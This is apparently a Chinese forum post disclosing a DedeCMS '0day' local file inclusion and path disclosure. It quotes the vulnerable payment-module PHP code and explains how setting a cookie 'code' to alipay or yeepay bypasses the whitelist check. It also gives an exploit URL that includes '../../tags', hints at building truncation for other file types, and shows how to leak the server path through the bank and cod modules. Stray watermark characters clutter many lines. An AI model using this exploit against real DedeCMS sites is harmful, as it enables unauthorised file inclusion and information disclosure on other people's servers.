dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

出现漏洞的两个文件为：
2 K- p3 R3 z7 ^; w5 ^/ Y: HInclude/payment/alipay.php
0 a6 h3 Z- @& S7 U/ y8 ]1 j3 iInclude/payment/yeepay.php
漏洞均出现在respond方法里，估计这两个文件是临时工写的。
2 @5 O( ^" {7 b2 q" G  x5 [
Include/payment/alipay.php
+ y& S# g; J4 M& J. O
......
1 h, _, s  J9 x  K! e* p   function respond()
" }. g- T; ?9 n5 T* W7 p    {
        if (!empty($_POST))
        {
" _* g0 g( B5 K6 l# P2 A  d            foreach($_POST as $key => $data)
            {
) x. p3 w: h9 P- a1 ]                $_GET[$key] = $data;
" i( O5 f/ G# F            }
        }
) Q9 I( W/ f% K3 S! n; J# {3 z        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
& \1 c& \5 Z/ E9 s- y9 s) h......


大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。

Include/payment/yeepay.php
  W, g+ X( C3 |' t* n0 b
$ `9 f! G9 ~" U, c* p) p0 {! S

: ?, K$ y, E0 `+ ?: t& s......
  K& y/ Q" I1 t- R! O! R    function respond()
- g6 e, @+ ^2 Q/ @5 F    {

5 l* c* ~* s1 [1 a        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
, _& q" i4 ?+ e6 s) Y4 c, P
% _/ p! L& N. X& A8 X' `        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
......
- L3 p( F2 I' C# h
" M7 S, I, ?# Y1 M8 Z1 Y


- R9 O6 E/ i( [# @) i大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
. J" K# M" c2 q* O8 V9 M7 p
* H" G/ E4 i( Q1 J' [这两个方法在plus/carbuyaction.php文件调用。

plus/carbuyaction.php

......
} else if ($dopost == 'return') {
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
9 f* S0 y" Y( E    if (in_array($code, $write_list))
    {
        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
        exit();  
    } else {
8 r+ h& S" r" m' I. l8 @        exit('Error:File Type Can\'t Recognized!');
1 M  g! _3 ]8 \9 F" H: j, ~    }
5 f& |" ^; R" w2 G2 u}
......

1 c5 {5 u( b4 U0 u- V) b

3 K  {+ K1 R) }; y5 ]+ @8 d

* H) i7 S9 q" F# A$ u- {! L* S( _
大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
5 W( L1 _: U! K所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。

回到include/common.inc.php来看看他的机制。
, X9 K3 S% w& [7 l) Q6 |
# C) h+ Y: ?* D: Z

4 A$ w4 I' S+ e7 t% }/ h. F; O......
9 Q/ y, D, H0 l  H2 r2 Kforeach(Array('_GET','_POST','_COOKIE') as $_request)
7 J- o. ~6 U/ U, u5 J  C9 v{
+ z8 E5 y% X& N9 ^        foreach($$_request as $_k => $_v)
        {
' X9 L7 p& |" \2 v- e4 ]                if($_k == 'nvarname') ${$_k} = $_v;
- P# B( y+ r5 v' @+ ~& }* @                else ${$_k} = _RunMagicQuotes($_v);
7 N0 h9 B% T1 f) l        }
. L2 W" D+ N* I/ z2 A: O}
5 E! e+ o) d' U. ~7 ^+ g! ]6 O......
% E: N- _6 {5 u3 ~8 a* q. u大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。